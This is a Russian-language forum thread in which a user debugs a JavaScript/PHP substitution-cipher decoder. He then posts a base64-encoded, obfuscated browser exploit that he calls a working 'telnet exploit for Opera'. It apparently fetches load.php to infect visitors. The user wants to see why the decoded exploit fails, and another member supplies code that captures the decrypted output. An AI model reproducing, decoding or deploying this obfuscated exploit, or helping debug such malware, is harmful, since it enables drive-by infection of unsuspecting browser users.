Просмотр полной версии : Не пишет в файл (php)
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
document.write(q)
}
decrypt("lala");
</script>
<?php
function r() {
echo '<script> decrypt("lala"); </script>';
}
$f=fopen("out.txt", "w");
fwrite($f, r());
?>
Почему не пишет в файл? Я даже не знаю уже, что делать... :(
Pashkela
14.07.2009, 03:49
)) Потому что результаты работы javascript так просто в php не переносятся
А как тогда? Вообще, мне надо увидеть конечный, декодированный код. Например: есть зашифрованное слово lala. Он его там расшифровывает, но увидеть расшифреный код не представляется возможным. Как это можно сделать? А то он декодит как-то криво, вот я хочу понять, что не так...
Pashkela
14.07.2009, 03:59
Что значит "увидеть не представляется возможным"???
Я вот просто скопировал в блокнот это:
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
document.write(q)
}
decrypt("lala");
</script>
сохранил как 1.html и запустил в браузере, мне нарисовало xdxd
Ты легенда чоли?
Не, такое-то он выведет. Понимаешь, если ему дать на расшифровку сплоит, то он начнет выполняться, следовательно я могу увидеть результаты работы сплойта, но не расшифрованный код его. Мне нужно именно этот код увидеть. Выложил вариант со сплойтом:
<?php
$code=base64_decode("Ym16d3lpZS8NCg0KeG53IGVwaT1qdXpuZXl1by5md3Fzew0KeG 53IHN5anEgPSAnanVuYS5pZmknew0KeG53IG53dyA9IGVwaS5w bmV6ZiZ2ZmVlaSJcdlx2Ji5eKlx2dip7DQp4bncgdHdqID0gJ2 ZlZWkidnYnKW53d1sxXSkndicpc3lqcXsNCg0KeG53IG4gPSAx ew0KeG53IGMgPSAyew0KDQpzdG96ZXl1byBtdHAmbixjKiArDQ p3cWV0d28gJm4gKSBjKnsgICBfDQoNCnhudyBuY3ogPSAxMjN7 DQp4bncgY3phID0gMjM0ew0KeG53IHphcSA9IDQ1NnsNCg0Kc3 RvemV5dW8gcHImbmN6LGN6YSx6YXEqICArDQp3cWV0d28gJnph cSAtIGN6YSAtIG5jeip7IF8NCg0KY2pub2goeXN3bnBxID0gYX V6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7DQpjam5v aCh5c3ducHEubXd6ID0gJ25jdXRlImNqbm9oJ3sNCmNqbm9oKH lzd25wcS5tcWVBZWV3eWN0ZXEmJ3lhJywgJ2Nqbm9oKHlzd25w cSg6eW9hdTonKnsNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZX EmJ21lcmpxJywgJ2F5bWlqbnIib3VvcScqew0KYXV6dHBxb2Uu bmlpcW9hQ2Z5amEmY2pub2goeXN3bnBxKnsNCmNqbm9oKHlzd2 5wcSg6eW9hdToucXhuag0KCSZ9enV9KX1vfSl9c3l9KX1kfSl9 KH0pfXlzfSl9d259KX1wfSl9cSA9IGF9KX11enRwfSl9cW99KX 1lfSl9Ln0pfXp3fSl9cW59KX1lcX0pfUVqcX0pfXBxb2UmJ3lz d25wcScqe1wNCgl6dW9zeWQoeXN3bnBxLm1xZUFlZXd5Y3RlcS YneWEnLCAnenVvc3lkKHlzd25wcSg6eW9hdTonKntcDQoJenVv c3lkKHlzd25wcS5td3ogPSAndWlxd24ienVvc3lkJ3tcDQoJYX V6dHBxb2UubmlpcW9hQ2Z5amEmenVvc3lkKHlzd25wcSp7XA0K CW5paSh5c3ducHEgPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJi dtend5aWUnKntcDQoJem56ZnEoeXN3bnBxID0gYXV6dHBxb2Uu endxbmVxRWpxcHFvZSYneXN3bnBxJyp7XA0KCW5paSh5c3ducH EubXd6ID0gJ30pdHdqKX0ne1wNCgluaWkoeXN3bnBxLnVvanVu YSA9IHN0b3pleXVvICYqXA0KCStcDQoJCXpuemZxKHlzd25wcS 5td3ogPSAndWlxd24iem56ZnEne1wNCgkJem56ZnEoeXN3bnBx LnVvanVuYSA9IHN0b3pleXVvICYqXA0KCQkrXA0KCQkJem56Zn EgPSB6bnpmcSh5c3ducHEuenVvZXFvZUR1enRwcW9lLnpmeWph TnVhcW1bMF0ueW9vcXdIVE1MLmV1VWlpcXdDbm1xJip7XA0KCQ kJeG53IHdxID0gb3E6IFJxZEVsaSYnJk9QUlxcXFw6KzVfLkVY RSpidlREL1xcXFxtXmJURC9cXFxcYSlidlREL1xcXFxtXmJURC 9iQSBIUkVGPVx9JyluaWkoeXN3bnBxLm13ei5ldVVpaXF3Q25t cSYqLCAnJyp7XA0KCQkJc3lqcW9ucHEgPSB6bnpmcS5wbmV6Zi Z3cSp7XA0KCQkJenVvc3lkKHlzd25wcSg6eW9hdToucXhualwN CgkJCSZcfVwNCgkJCXVpcXduLm1xZVB3cXNxd3FvenEmJ05xZT p1d2gnLCdUTjMyNzAgQWlpJyx1aXF3bi5kcWVQd3FzcXdxb3px JidVbXF3IFB3cXNtJywnQ256ZnEgRHl3cXpldXdyNCcqKWlud3 FvZS5zeWpxb25wcVsxXSp7XA0KCQkJbmlpKGp5b2ggPSBhdXp0 cHFvZS56d3FuZXFFanFwcW9lJiduJyp7XA0KCQkJbmlpKGp5b2 gubXFlQWVld3ljdGVxJidmd3FzJywgJ2VvMzI3MCJ2dm91ZWZ5 b2QnKntcDQoJCQluaWkoanlvaC56anl6aCYqe1wNCgkJCW1xZV R5cHF1dGUmc3RvemV5dW8gJiogK3VpcXduLm1xZVB3cXNxd3Fv enEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJywnZXFqb3FlLnFscS cqXywxMDAwKntcDQoJCQlcfSp7XA0KCQlfe1wNCgkJYXV6dHBx b2UubmlpcW9hQ2Z5amEmem56ZnEoeXN3bnBxKntcDQoJX3tcDQ oJYXV6dHBxb2UubmlpcW9hQ2Z5amEmbmlpKHlzd25wcSp7fSp7 DQoNCg0KeG53IGxyayA9IDEyM3sNCnhudyBsbHIgPSAxMTJ7DQ oNCnN0b3pleXVvIG10cCZscmssbGxyKiArDQp3cWV0d28gJmxy ayApIGxscip7ICAgXw0KDQoNCmJ2bXp3eWllLw==");
?>
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
document.write(q)
}
decrypt("<?=$code?>");
</script>
Сплойт, почему-то, не пашет, хотя сам по себе он абсолютно рабочий. Есть подозрения, что дешифровщик его неверно расшифровывает, поэтоу я и хочу увидеть конечный код, который передается браузеру. В данном случае сплойт ищет путь к load.php (должен быть той же папке, из которой запущен сплоит). Это телнет сплоит под оперу.
может проще выполнять твоё дешифрование в php не в js?
если нет, и если я правильно понял что тебе нужно, то попробуй например так:
<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind+2)
} else {
q+=ch
}
}
location.replace(document.location + "?decr=" + q);
}
</script>
<input type="text" id="encr"/><br/>
<input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/>
<?php
if(isset($_GET['decr']))
{
$f=fopen("out.txt", "w");
fwrite($f, $_GET['decr']);
}
?>
thx огроменное. Имненно то, что я хотел )))
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot